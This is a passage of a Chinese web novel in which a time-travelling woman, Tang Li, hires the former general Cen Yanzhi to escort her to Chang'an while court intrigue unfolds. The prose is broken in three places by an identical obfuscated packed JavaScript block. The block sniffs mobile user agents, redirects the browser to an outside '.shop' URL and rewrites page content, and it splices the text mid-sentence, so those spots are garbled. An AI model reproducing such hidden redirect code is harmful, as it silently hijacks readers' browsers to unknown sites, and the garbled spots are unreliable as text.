现在看来,可能是对的…… “我……”想回家……但怎么开口?告诉对方其实自己根本就不知道如何回家?家在另一个世界?对方一定会觉得自己疯了的。 就在棠鲤犹豫如何回答时,莫安先开了口:“医士说卓阳还需再修养几天,十天后我们出发,那时……等你的回复也不迟,但……” “放心,我不会告诉玥儿的。”棠鲤心领神会,玥儿已经再也经不起离别了,但如果自己也要离开,该如何去说呢? 将近深秋,据说金城这边冷得快,新鲜的蔬菜会更难的,之前她总是帮一位姓许的仆妇打打下手,今天倒是被分了两个烤地瓜。 将其中的一个拿去给了莫玥儿,还剩下一个。 最近她心绪很乱,夜里时常惊醒,梦里都是被“山匪”追上、身边全是死去的孩童的场景……只有抱着自己的琵琶才能让她有些许慰藉。 是以近日她常常在驿所偏门处弹一会儿琴…… 一曲终了,棠鲤将琵琶装进盒中,小心收好。 “好听!好听啊……” 突如其来的声音吓了她一跳!探头往巷子里一瞅——原来是个老人。 “您吓着我了……”棠鲤有些无奈,复又观察起来,老人家穿着有些破烂,头发乱糟糟的,这么冷的天气只穿了一双草鞋…… 就这样拿着根木拐杖靠坐在墙根处。 有些可怜。 “您饿了吗?吃吗?”棠鲤讲手中的烤地瓜递了过去,老人没有抬头,倒是迅速将地瓜拿走,略有些狼吞虎咽…… 棠鲤看呆住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224383|197558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老人吃完后,慢慢撑着坐了起来,掀起眼帘,看向棠鲤,“女娃娃,老夫吃完有些渴了。” “哦,好,您等下,我去拿点水。”棠鲤下意识地起身说着,返回院内,取了碗清水,端给了他。 老人将水喝了个精光,一滴也不剩,末了,还打了个饱嗝…… 棠鲤没忍住笑了出来,这一笑倒是吸引了老人的目光。 “你这女娃娃!算了,老夫不与你计较……”说罢要起身离开。 “这就走了?”棠鲤小声问着,仅短短两月,她经历了太多,今天这奇遇倒让她久违地感到心里轻松不少。 那老人似是听见了棠鲤的自言自语,停住了身形,又慢悠悠转身回来,距棠鲤就一步之遥。 站定后,在怀中摸索半天,拿出了个破布包,递了过来—— 棠鲤下意识接过。 翻看了一下,没有什么特殊的地方,但又有些同情老人,可能是阿尔兹海默症吧…… “怎么,不打开看看?”那老人看棠鲤没什么反应,许是有些郁闷,用手中的木杖戳了戳石板地。 棠鲤见状收回还回去的动作只得打开布包——是几张纸。 棠鲤拿出翻看了一下,没有看懂,似是制作某种工具的图纸? “这是?” 老人似是被棠鲤的反应取悦到了,有些得意道:“这可是江湖侠士必争之至宝!可莫要小看!” “那如此至宝,交给我一介陌生人?”棠鲤笑着问他,可能老人家许久没与人交谈了,在闹着玩呢。 “老夫今天一睁眼,就决定将这个宝贝交予看到的第一个人!”说着还冲着棠鲤努了努下巴…… 原来如此,所以他昨晚就睡在这个小巷子里吧? 许是察觉到棠鲤的情绪变化,老人走上前,一屁股坐在石阶上,伸出手说道:“你与老夫有些眼缘!这样!老夫懂些周易,给你看看手相吧!” 棠鲤觉得有趣,将手伸了过去。 只见那老人盯着棠鲤的右手,看了半响,坐回去抬起头看了看棠鲤的面容,语气有些古怪。 “从相观之:昔者庄周梦蝶,虚实难辨。毋固毋执,莫若虚室生白,造化自然。” “可否再……说得明白些?” “老夫看不清你的造化……女娃娃不如东去长安石门寺解这一相。”说罢,老人拄起拐杖,一摇一晃地向街口走去。 棠鲤看着手中的几张纸,又看着右手掌心,陷入沉思——是因为自己不属于这个世界,所以看不出手相? 庄周梦蝶,虚实难辨…… 她苦笑着,这一遭危机后,逃跑的噩梦与终归家的喜悦在梦里相互交织,每每白日升起时,都令她头痛不已…… 即使掩面哭泣也没有任何的作用,哭过一场,还不是在此方世界,到底怎样才能回去? 临近申时,岑燕之终于在西市口找到了他追了近一个月的人。 此时他已是面有愠色,按压下怒火,拦住那人的去路。 “铸剑图。” 此时若是棠鲤在场,必会发现,被岑燕之拦下的正是上午与她有过一面之缘的老人。 “你这后生,真是好生烦人!老夫已将那图撕碎了流进城外的溧水!你且去捞吧!” “李前辈,晚辈诚心想要铸剑图,还请前辈……”岑燕之抱拳一礼,看李观山没有任何反应,随后又欲将怀中荷包拿出…… 李观山见惯了这些江湖侠士的一言一行,压根不接岑燕之的茬,一挥袖子面朝城门方向。 似是不忍,又或许是心虚,他余光瞥见那后生依旧立在原地,闹市之中人来人往,只他独立,是以格外醒目。 随后深深叹了口气,想起来午前遇到的女娃娃,又挪着步子走到岑燕之身边。 “给了个女娃娃,长相嘛……令人见之不忘。你若是运气好,没准能在西市驿所找着她……”撂下这样一句话,还未等岑燕之细问,李观山就转身离去,岑燕之没有再阻拦,就这样看着李观山消失在人群中…… 几乎是没想多少,岑燕之的眼前立马浮现出那日马上的惊惶面容——几日前一时心软于乱阵中救下的女子……天下会有如此巧合? 4. 人命镖 “棠姐姐为什么不与我们一起回?” 又过了五日,棠鲤最终还是做好了决定,告诉了莫安和莫玥儿。 莫玥儿有些憔悴的眼中又蓄起了泪水,抓着棠鲤的手,紧紧不放。 莫安看着,默默地走出房门。 棠鲤拍拍她的手,微微笑着:“玥儿,还记得我们最开始相识的时候吗?你问我家在哪里。” 莫玥儿抬起头,看着棠鲤,她的棠姐姐很漂亮,比她见过的富贵人家的娘子都还美丽。 “我大概这辈子都回不去故乡了。”棠鲤摸着身旁的琴盒,她语气淡淡的,好似在诉说什么无关的话题…… “棠姐姐……”莫玥儿很担忧,棠鲤感觉握着自己的手又紧了些。 这几日难得阳光甚好,本来秋日的寒气也渐渐有了些暖意。 “这些时日,我真心将你当做妹妹看待,虽然世事艰难,但你有莫安和莫卓阳,所以,一定要好好活下去!”听了棠鲤的话,莫玥儿涕泪横流,拉着她的手久久不能言语…… 绕开这个话题,两人才慢慢聊了许久,当晚睡在一处。 第二日,棠鲤出了驿所,她想去街上看看。 莫玥儿本想陪同,但他们马上就要启程了,事务繁多,莫卓阳还不能没人照看…… 棠鲤摇了摇头,拒绝了她的好意。自己往后总是要一个人面对这个朝代,不能就此停滞不前,也没有什么人是可以永远依赖的。 金城地处夏的北边,靠近边塞五城,作为距离肃州最近的大城,还是热闹许多。因着有不少来往的商团,这处的茶馆驿所食肆格外的多,路边许多小摊贩卖着各式各样的玩意儿。 棠鲤也被吸引住,跟着几个妇女一起看了起来,尤其是卖香膏的摊子,围着许多人。她挤在一旁,听到了摊主给出的价格,一旁的妇人听后皱着眉与其讨价还价,最后摊主退让了些,那妇人便买走两罐。 这个价格,到底是划算的吧?棠鲤思考着,摸了摸怀中的钱袋,她还没有独自买过东西,但看着旁人的反应,方才的价格应当是实惠的。于是,棠鲤打定主意,深吸一口气上前,正要开口…… “姑娘买香膏?真是不好意思,今儿的都卖光了!得过几日!” 好吧,还没开口问呢…… 于是棠鲤有些尴尬地笑了笑,再往前走。 及至街尾,棠鲤被一处招牌所吸引——红色的旗子上大大地写了个“镖”。 应当是镖局。 话说周家家大业大,从肃州到金城都要请许多镖师护送,看来跟这个国家的时局有着脱不开的联系。 棠鲤想进去看看,但远远地瞧见进进出出的人都长相颇有些凶狠,一时之间没了主意。最后徘徊许久,还是决定回到驿所,明日再行打算…… 午食过后,棠鲤将心中的疑惑问了莫安,莫安是胡人之子,对于当朝局势不甚明了,只是知道如今各个州府之间多有匪盗,行商之时最好是多个商队同行,宽裕的请些镖师护送,更大的商队还雇有自己的护卫。 棠鲤思量片刻也不瞒着他,将自己决定前往夏都长安的事情告诉了他,莫安听后,沉默了片刻。 “勿要一人前去,路途遥远,最好是像周家人那样雇佣镖师,这样其实是最稳妥的。虽然……”莫安看了看屋中被莫玥儿搀扶着行走的莫卓阳,沉了沉眼睫,棠鲤知道他未说出口的话,大家其实对上次的劫掠还心有余悸,商队中的大多数人都不愿提及。 “多谢莫大哥,我懂你的意思,明日我去镖局问问看。”棠鲤从石凳上起身,正欲回房,莫安倒是又开了口。 “好。对了,这段时日商队休整得差不多了,我与其他人商量过,决定在后日启程。” 棠鲤沉默了,虽然早知道会有这一日,但巨大的孤独感和害怕还是在瞬间袭涌上了心头,收拾好自己的情绪,棠鲤与莫安告别。 第二日,棠鲤没有出门,她私心里还是想与莫玥儿多呆一会儿,两人在一起说了许多。 等到他们临行前的一晚时,莫玥儿拿出了一个包裹递给棠鲤,打开后,竟是许多铜钱和银票…… “玥儿?这?” 在棠鲤惊讶的目光中,莫玥儿笑着说:“棠姐姐,这里面除了安哥和卓阳哥分给你的部分,我也将私房钱放进去了些。” 棠鲤听后,正要开口拒绝,莫玥儿摇了摇头,没让棠鲤开口,“我都听安哥说了,雇佣镖师会花不少钱,姐姐又要孤身一人上京,若无银钱傍身……玥儿很担心。” 棠鲤看着手中沉甸甸的包裹,几张银票都被仔仔细细地叠了起来,下面还装了贴身的换洗衣物……莫玥儿很细心。 气氛有些低沉,棠鲤不愿意看到莫玥儿紧绷的脸颊,开口打趣儿:“玥儿是富婆,若是姐姐日后在长安混得不好,能否去投奔你呀?” 听了棠鲤的话,她抬起头,随即立马露出笑容,还带着泪光的眼角弯着,棠鲤伸着衣袖帮她擦干了眼泪…… 入夜后,棠鲤再也忍不住,眼泪从眼尾滑落,打湿了枕榻。 天将破晓,鸣鼓开城门时,莫家众人与棠鲤在城门一一惜别。 从来到这里开始,这几个月她深受他们照拂,长到这么大,她才第一次体会到离别。强忍着眼中的泪水与心中的不舍,棠鲤转身拢起帷帽回到城中,她没有回驿所,而是去了那日路过的镖局。 进入镖局,陈设朴素,里面零散摆着几张桌椅,柜台后一个虬髯大汉见到这里竟有女子进入,有些稀奇地俯身开口,“小娘子来这里作甚?可是要寻夫郎?” 又被“口出狂言”了,棠鲤有些无奈地看着台面后的男人,最终提起胆量:“我想雇佣镖师。” “走镖?人命镖?你?”那人上下打量着棠鲤,目露轻佻,摆摆手:“小娘子且离开吧!只怕价钱你付不起!” “敢问几钱?”棠鲤不太懂这行业的术语,但也不想放弃,便再次追问。 那人看她没走,还是转过身,比了个数儿。 “五两?” “小娘子莫开玩笑了,五十两是最少需要的,且看你去哪了……” 棠鲤震惊,虽然她对这个朝代的金钱如何使用不甚了解,但她听玥儿说过,普通人家一年的开销也才几两银子,有时更少……走一次镖就要五十两!这还是起步价吗? 干这一行的都心思活络,那人看出了棠鲤的为难,“小娘子且回去与家人好生商量,走人命镖不是那么简单的……” 后面进出镖局的人变得多了,那人似是管事,很快就忙了起来,不再管她。棠鲤没有办法,只好往外面走。 快出门时,正好又有人进来,棠鲤下意识向旁边侧身让道,就听到方才的掌柜冲着这边喊道:“岑兄弟!正好那小娘子有镖想押!你不若问问?” “掌柜的怎地叫那姓岑的?” “兄弟,这你就不懂了,那岑兄什么镖都接!不论是否麻烦……” 听着周围人们此起彼伏的起哄,棠鲤捏着帷帽的一角,有些不知所措。 身前的人姓岑?不会是……棠鲤微微抬头,隔着帷帽的间隙,她看到了面前男人的脸——正式那日救了她的岑燕之。 只不过面前的人似是没有立马认出她来,倒似是被周遭的嘈杂声吵着了,眉头微蹙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224384|197558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>棠鲤拿不定主意,但还是开口:“岑少侠,那日多谢岑少侠出手相救……请问,您接镖吗?” 话说那日岑燕之好不容易“截”到了李观山,却没能得到他想要的东西,纵然从他口中得知了“铸剑图”的去向,但茫茫人海,如何找到? 面前的女子的一番话,将他的思绪拉回了现实—— 眼前的女子依旧一身素衣,透过帷帽,能微微看清她的长相。 [给了个女娃娃,长相嘛……令人见之不忘。] 几乎是下意识地,岑燕之就想起了那日李观山留下的话。 棠鲤看着眼前盯着自己的男人,不由得有些紧张,自己刚刚说的话没什么不对吧?这里的人不应该是这么打招呼的嘛?还是说她太直接了?亦或是说,他也觉得自己没有银钱? 想到此处,棠鲤将怀中的荷包拿了出来,准备先掏一张银票,谁承想身后被路过的人撞了一下,手上没拿稳,连带着荷包一起,掉到了地上,里面的几枚铜钱也撒了出来…… 岑燕之被这一小小的变故拉回了思绪,看了眼掉在自己脚边的荷包和旁边的布包,便顺手捡了起来…… 棠鲤正准备向岑燕之道谢,就看见这人保持着半蹲的动作一动不动。 岑燕之压下心脏的震动,手上不自觉地打开了布包,将叠在一起微微泛黄的几张纸轻轻展开——寻找已久的“铸剑图”就这样呈现在了眼前。 金城的镖局门前有一处茶摊,茶摊的主人是一位年过半百的老翁,儿子去了边塞五城服兵役,儿媳与老伴儿在家中操持家务、带带孙女,他自己则带着已经懂事的孙子守着茶摊,日出而作日入而息。 日日招待过不少南来北往的镖师和商客,今儿倒是少见的看着一年轻的小娘子来这市井之中。 棠鲤看着摊主上了两盏茶后,目光又回到了面前这个男人的身上。 说来也怪,岑燕之帮她拾起掉落的东西后就死死地盯着看了许久,又请她到茶摊…… “岑某还没问过姑娘姓名,如何称呼?”岑燕之坐在棠鲤的对面,看着自己一时心软救下的女子,只觉得有因必有果,没想到李观山竟真的将如此贵重的宝物交给了仅有一面之缘的陌生人…… “岑少侠不必客气,我叫棠鲤。” “棠姑娘,方才失礼了。”说实在的,棠鲤作为现代人,没觉得刚才岑燕之的举动有哪些不妥,但看眼前人又是言歉又是抱拳行礼的模样也就没多说什么。 “没事的,不过,岑少侠是有什么话想说吗?关于这个?”棠鲤拿出被布包裹的“铸剑图”放在面前。 岑燕之看着近在眼前的东西,抬眼再次抱拳:“棠姑娘,实不相瞒,岑某一直以来在找的,便是这个。” “这是什么?我只知道像是做某种东西的图纸……” 岑燕之抿了一口茶,将茶碗放在一旁,犹豫片刻,“‘铸剑图’。岑某愿意用钱财于棠姑娘手上买来,还请姑娘割爱。” 原来是这么个东西,但考虑到自己本来的目的,棠鲤还是决心开口:“此物于我来说并无用处,如此宝物在我手中,如同明珠蒙尘,我愿意将这‘铸剑图’交予岑少侠,但……恳请岑少侠听听我的请求。” 棠鲤的语气听起来冷静,但实则心里紧张极了,她将目光从面前之人的脸上挪到面前的茶盏。这是她来到这里以来,第一次与人谈买卖,从前在家中,父母长辈都将自己护得很好…… “棠姑娘请说。”听到面前之人没有拒绝,棠鲤松了一口气。 她抬头再次看向面前颇为英俊的男人,目光微亮,“我想雇佣岑少侠你,护送我前往长安。” 5. 今启程 岑燕之感到意外,一手抚着茶盏,一手搭在桌上,手指随意敲着,“江湖规矩,走镖要问缘由。为何去长安?” 该如何说?要编个理由吗?棠鲤沉默住了,这个人武艺高强她是见识过的,而且还救过自己的命,对待救命之人应当坦诚有礼…… 岑燕之看着棠鲤,她似乎是下定了某种决心,放下茶盏,一双清凌凌的眼眸就这样望向他,“我要去长安的石门寺解一个签,但路途遥远,需要有人能引路护送。” “仅仅是为了解一个签?” “呃……是的……”棠鲤看着男人审视的目光,底气不太足,但还是再次开口,“若是您觉得长安太远,送我到长安附近也是可以的……” 岑燕之看着面前的人,又远远地瞥了一眼镖局那边,在心里叹了一口气,如今世道,一个女子,孤身一人不远万里…… “岑少侠!若是‘铸剑图’不够,我这也还能给您些许报酬!”棠鲤撩开袖子,露出手腕上带着的金镯子,不由得声音提高了几分,生怕眼前的男人不同意。 岑燕之看着棠鲤的动作,微微一怔,随即低下头。 片刻后,他抬起手,用食指沾了些茶水,在木桌上画了几条弯曲的线和几个点,棠鲤有些疑惑,微微倾身看着,直到岑燕之停手,有些低沉却略带浑厚的嗓音再次传来,“如今关内道也不慎太平,是以若去长安,我们需要绕路,直去山南西道,以此地迂回入京。” “原来如此。”嗯?棠鲤抬起头,看着岑燕之发愣,这是?同意了? 看着女子似是没有回过神来,岑燕之轻笑道:“此去长安路途艰险,若是你中途不愿走了,我们也必须将报酬结清,也就是说‘铸剑图’要给我。” “没有问题!这是当然的!这一路要岑少侠多多担待!”棠鲤很开心,完全抑制不住内心的喜悦,冲着岑燕之做了一个不甚熟练的叉手礼,当然对方也很客气地回以一礼。 岑燕之心里早已有底,走这一镖大概率很快就能看到结果,女子出远门?他在心里摇了摇头,“预备何时出发?” “明日就可出发。”好想立马就到长安,能否回家,所有的机缘,都在那里了…… “好,那明日辰时在东城门处见。”岑燕之将几枚铜板放在桌上,跟茶摊老伯招呼了一声后,两人约定好时间,就各自分别。 棠鲤盘算了一下自己的行李,决定还是先去西市看看有什么需要买的,再回驿所。 及至申时,棠鲤的手上已经提满了东西,还重新买了一件长的兜帽,比起帷帽这种在城市中比较适用的,兜帽遮风挡雨都没有太大的问题。水壶、包袋等等用具,也采买了一批。 回到驿所后,平时交好的驿所仆妇许妇人听说棠鲤要走了,便顺手烙了几个胡饼给她装上。 许妇人年过半百,自己仅育有一个女儿,早已嫁到外地,孩子都生了俩,前年时自己的丈夫也因病去了,如今在这金城仅她一人,棠鲤的年岁看着不大,几番接触下来,她看这孩子聪明伶俐,人也善良,就更是把她当做自己女儿看待,“闺女啊,长安那么远,非要去吗?” 看着许妇人蹙着眉头,很是担忧的样子,棠鲤不免想到了跟莫玥儿分别时的情景。 “嗯,只有去了长安,才能解我心中的结,您知道的,我忘记自己的家乡在哪了,长安应该有我家乡的线索。”对外她是这样解释的,但在许妇人看来,则是对棠鲤这个“孤女”的怜惜更上一层。 “哎,明日何时出发?路上可有照应?”许妇人不放心,又一一细问,棠鲤也耐心地向她解释,再三安抚之下,这才送许妇人出了院门。 临出门前,许妇人又想起来叮嘱棠鲤:“明日早些时候记得向驿所的驿丞拿路引,莫家的商队走之前也都打点好了的。” 路引?“我知道了,您放心。”送走了许妇人,棠鲤回到房间内收拾行李,将所有的行囊收拾到一起,背到身上试了一下,不是很重,一转身又看到了床上放着的琵琶…… 差点忘记它了,这样看东西还挺多…… 说起来,明日出发怎么走啊?坐牛车吗? 第二日辰时,岑燕之牵着马,挎着长刀,准时出现在了东城门。 过去了一盏茶的时间,棠鲤没出现。 又过了一炷香的时间,棠鲤还是没出现。 半个时辰了,人呢? 岑燕之气笑了,他还记得李观山说的,西市驿所。 于是他转身解缰绳,准备去驿所看看,就听见身后由远及近传来一阵小跑的声音—— “岑少侠!实在抱歉!我来晚了……”棠鲤捂着前胸大口喘气,真是太气愤了!那驿丞竟然扣着路引!最后闹半天就是想捞些油水! 岑燕之看着眼前的女子,鬓发微乱,双颊微微泛红,眼眸被寒风吹出了些水光,额间似是沁出了汗水,映着白皙的皮肤还有些发光。 他别过眼去,牵着马匹,声音却揉了下来:“怎么迟了这么久?” “抱歉,驿丞的路引扣了半天没给我……不过没事了!已经拿到了。”棠鲤提了提左肩的琵琶,又拉了拉右肩的包裹,笑道,不过多花了些钱两…… 这女子…… “行李可以放在马上。”岑燕之冲棠鲤伸出手,棠鲤看着他身旁的枣红色大马,有些微微兴奋,真的很少这么近距离的看到马匹,以前都是在景区才能看到,骑的话还是另外的价钱。没想到岑燕之竟然有马,他到底是什么人? 棠鲤想着应声,将右肩的包裹递了过去。 岑燕之看着接过的行囊,没动。 “怎么了?很重吗?那我拿出来点……”棠鲤看他半天没有放的动作,有些不好意思,以为是东西太重了马儿承担不起,很不好意思地开口想要将东西取回,但抓了个空。 岑燕之没让她将东西拿回去,反手将包裹系到了马鞍上。 “走吧,天黑之前要进城落脚。”说罢,牵着缰绳向城门外走去,棠鲤听闻,连忙跟上。 并不是重,反而太轻了。 而且,他本意是让她将左肩的大包袱给他放的……看着马儿身上的小包裹,他又在心里摇了摇头——真是没有一点戒备心。 又用余光扫了眼身旁跟着的女子,本想看看她的表情,谁成想,映入眼睫的是褐灰色的兜帽顶…… 岑燕之抬头看了看天,虽然比之前两天有些阴沉,但并没有下雨。 走了近一个时辰,两人到了一处路口的食店,坐下后,棠鲤暗暗捏了捏有些发酸的小腿,就当她以为接下来的路都要一直这样走时,岑燕之开口了,“歇息片刻后,一会儿坐驴车去下个镇子。” “好!”棠鲤终于感到些许轻松。 食店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224385|197558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的老板端来一壶茶水,棠鲤抬手给自己和岑燕之倒上两碗,准备喝的时候才发现,是凉的。 她扭头看了看摊子上,有个灶台烧着一锅水,就在她思考要不要开口时,岑燕之看出了她的想法,“路途中,热食热水都要多给些银钱,应当省着点。” 这女子从前应是在家中惯了,没有太多出门的常识,不过对女子来说,正常,不出远门的还是很多。 “还是要些热水吧,多喝热水对身体好。路上的吃食住宿钱我来给。”棠鲤还是不习惯直接喝这些凉水,万一是没烧开的怎么办……她敢笃定的是,这个时代看病一定不是很方便,而且随随便便一个小病就很有可能要人命的。 岑燕之没有拒绝,由着棠鲤加了几枚铜板,并在老板的一脸疑惑中换了一壶热开水。 “你饿吗?给你。”棠鲤从一旁的包裹里拿出一个许妇人给的胡饼,掰成两半,递给一旁的岑燕之。 他看着一只白嫩嫩的手伸到他眼前,下意识没有拒绝,直接接过。 “吃吧,是金城驿所的一位仆妇给我的,说我路上饿了可以吃,这个好像能放很久。”具体多久她倒是不清楚。 “多谢,笑纳了。”两人吃着饼喝着热水,不再言语。 用过饭后,棠鲤又坐了一会儿,岑燕之则起身松开马绳,将马牵到一旁树下系着。棠鲤有些疑惑,扭头观察着,看着马儿开始吃草她才反应过来——哦,马也要吃饭。 待到两人再次整理行装,预备出发时,身后远处金城的方向传来一阵马蹄声。 棠鲤回头看过去,两个着青绿色长衫的男子骑马而来。 看着应当是金城的府衙官员,周遭路上的百姓看到后也纷纷避让。 棠鲤本想往旁边走走,就看见那两人据他们几步远时,止住马儿,又双双翻身下马,扶住腰侧的佩剑,走到两人面前,对着她身前的男人抱拳一礼,分外恭敬。 接下来的谈话,棠鲤没能听到。岑燕之在看到两人的身影后,就让她先在此等待,自己则上前与那两人在官道一旁的大树下攀谈起来,在棠鲤看来,那两人对岑燕之格外客气,甚至可以说是尊敬? 棠鲤坐在路边的石头上等着,最后等到那两人拿出什么东西递给岑燕之,而岑燕之又推拒了,此番来回几遍,两人无法,这才再次深深一揖,翻身上马离去。 “此次若无岑将军及时遣人报信,定会酿成大祸,我家大人让我等来送送将军!多谢将军大义出手!”两人作为金城府衙的参军和长史,奉府尹大人的命令前来送行。 岑燕之心里知道,但还是伸手还礼,“岑某辞官逾一年,早不是官身,二位大人如此太过多礼。” 送走了两人后,岑燕之望着他们离去的背影,脑中回忆着方才那参军留下的话——“岑将军,不瞒您说,如今朔方和河东都不太平,两方节度使野心勃勃不做遮掩,圣上……沉迷仙术无法自拔……我家大人担心您再次被朝中牵连……您……早做打算为好。” 岑燕之回忆着从前,又想到如今局面,不禁发出冷笑,朝中那些斗来斗去,还是不是为他人做嫁衣? “走吧,耽搁太久了。” “无妨,事情办完了?走!” 女子坐上前面的驴车,岑燕之则翻身上马,再次遥望前路。 此去长安,究竟是因?还是果? 6. 卖果子 长安,皇城,宣政殿。 满朝文武终于盼来一次大朝会,圣上已有几月不曾上朝,朝中大小事务皆由王贵妃及大太监笪禄(dálù)经手。 “这卯时都过了,皇上呢?” “某也不知啊,按说这每月一次大朝会……” “哎呀……” 朝殿中,大小官员皆以品级等候多时,但一炷香时间过去了却始终不见圣驾到来,皆心中不安,纷纷私下议论起来。 随着殿门外鼓声响起,金吾卫声跸传来,众内侍齐呼:“恭迎圣驾——” 百官纷纷跪拜,平身后,抬头却见御座空无人影…… “奉圣上谕旨——有事起奏!无事退朝!”当今圣上的内侍大太监笪禄站于金銮椅前,话音落后手抱拂尘扬着嘴角,就这样睥睨百官。 众人愕然,先是武官前列的武将率先暴起脾气,怒声呵斥:“谗佞笪禄!竟敢挪用圣驾!” “贱婢反了!” “纵观大夏三百年!也从未如此……” 文官一侧的官吏们也气急捶胸,纷纷唾骂。 只见那笪禄丝毫不慌,似是站着有些乏味,挪动了一下脚步,“诸位噤声,圣上昨日初觅仙迹,今日甚觉乏力,诸卿家可将奏本呈上,待殿下阅过后,呈予陛下。” 众人一听说殿下,便询问左右,大多是面貌欣喜,“太子殿下何时出的太极宫?” “某也不知……” “若殿下监国,我等……” “诸位——”笪禄的声音尖细,从殿上传来,“诸位莫不是公务繁忙,忘了时日?” 看着脚下文武百官们敢怒不敢言的模样,笪禄心里异常满足,随即又笑道:“皇上圣谕:太子殿下于太极宫闭门思过三月,如今一月都未到,如何理政?” 宫中已成年的皇子,除了太子,其他多已出宫建府而居,亦或是居于封地,非召不得出。如今宫中只剩…… “昨夜贵妃娘娘侍疾,圣上亲口说了:‘十七皇子虽年幼但聪慧伶俐,神似朕幼时,是以可以分忧,初试监国也未尝不可矣。’”笪禄揣着拂尘,左右踱步。 “十七皇子?” “才五岁啊!” “五岁稚童!如何监国!” “莫不是为你笪禄摄政做嫁衣!” “金城之乱!死伤百姓者甚多!此为金城太守加急奏折!臣!恳请圣上批阅!” 但此时朝上吵成一片,笪禄睨了一眼提及“金城之乱”的尚书省官员,声音不大,早已被淹没在人群中…… 是以他不慌也不忙,又冷笑着看着文武百官齐齐对他声讨,只不过笑不达眼底。这些从前看不起他的人,如今还不是只能动动嘴皮子,连皇上的面儿不都见不着?如今他听到看到什么,皇上才能听到看到什么,有什么可争的呢?可笑,可笑。 “金城地处西北,河西节度使管辖之地,为何不叫节度使上请奏折,此事实没有依据、难以判断,驳回重申吧!”笪禄慢步走下几节阶梯,对着那官员所站的位置说着,他的声音倒是不大,但那尚书省官员听得一字一句听得清清楚楚。 在收到“金城之乱”的折子后,他第一时间就预备面圣,但圣上没有召见,告知同僚,想着人多力量大,一同乞求面圣的话,圣上也会重视,但没有人应承,甚至自己的顶头上司也来劝阻,明哲保身要紧。 于是这几日他夙夜难眠,想来想去,犹如热锅上的蚂蚁,自己一路考至京城,励志为国为民做一个好官,但!如今官至中央尚书省!却仍旧无能为力! 午夜梦回,两年前“长门死谏”的宰相孙大人的面容依旧令他记忆犹新……如今看来却只觉心中寒凉……国祚难延啊…… 征讨声没有断绝,却听见那阉党贼首再次拉开嗓子—— “咱家看诸位大人也都累了,有折子就递上来吧!今儿的朝会就到这儿!”笪禄说罢挥了挥拂尘,立在殿内一旁角落里的几个小太监便端着托盘依次走入百官列位,他自己则从一旁离去,头也不回。 只看百官们有的跪地痛哭,口呼陛下,有的看着手中书满地方饥荒的折子无可奈何,也有的将折子大力拍在托盘中亦或是气愤地收起在袖中…… 当然期间不乏有笑着将折子送上的官吏,八成是什么请安折…… 诸如此类,暂且不提。 说回到棠鲤这边,随着驴车一摇一晃地到了一处小村落,天工终于还是不作美,只听秋雷阵阵,竟是下起雨来。 路上泥泞不堪,难以行走,旅人们纷纷躲到村口的大树下,暂且避雨。 这处村子还算富裕,村中长老看着许多旅人无处可去,便带着村中青壮年引导众人去祠堂口暂时避避,还送上了些干净的饮水,旅人纷纷致谢。 棠鲤和岑燕之也随着过去,刚到跟前,棠鲤就听见几人议论了起来。 “秋日下雨,不太常见啊……” “这快秋收了吧?” “是啊,不过若是下一两天倒也就折些收成……只盼不要连着多日下啊……” “盼望如此……” 棠鲤默默地听着村民和一边的旅人聊着,心中有些疑惑,不过他们站着的位置离那边有些距离,虽说好奇,但没有开口相问。回头看看岑燕之那边,他刚安顿好马匹,将其栓到一旁树下,拿下马背上的包袱后才过来避雨。 雨来的急,他未来得及穿戴雨披,雨水打湿了他的发髻,沿着额角慢慢滑过下巴,滴在地上。棠鲤看着,还是从包裹里取出了一块儿布巾递了过去,“擦擦吧,不然会感冒……啊不对,染上风寒就不好了。” 岑燕之有些意外,不过这一日相处下来,他也发现了这女子心中没有多少男女大防,对自己算是比较信任,遂接过布巾擦起了面上的雨水,看着女子一直面带微笑着盯着自己,倒是让他有些不自在起来…… 她倒好,戴着兜帽,头顶都没怎么淋湿…… 胡乱擦过记下后,抬起胳膊刚准备讲布巾递还过去,却突然感觉腰侧一阵刺痛,随即有感觉到一阵温热,心里暗道不好,八成是前几日金城“匪乱”时受的伤遇水又裂开了…… 棠鲤看岑燕之用完了布巾,准备接过,却看他动作倏地一顿,面色也不大好地样子,不免有些担忧地问道:“怎么了?”不会是凉着肚子痛吧?都说了多喝热水好一些的…… “无妨。”岑燕之回答道,看着棠鲤的眼神,偏过头,“雨停后我们继续赶路,若是雨停不了,今晚只能在这村中借宿了。”说罢就扶着 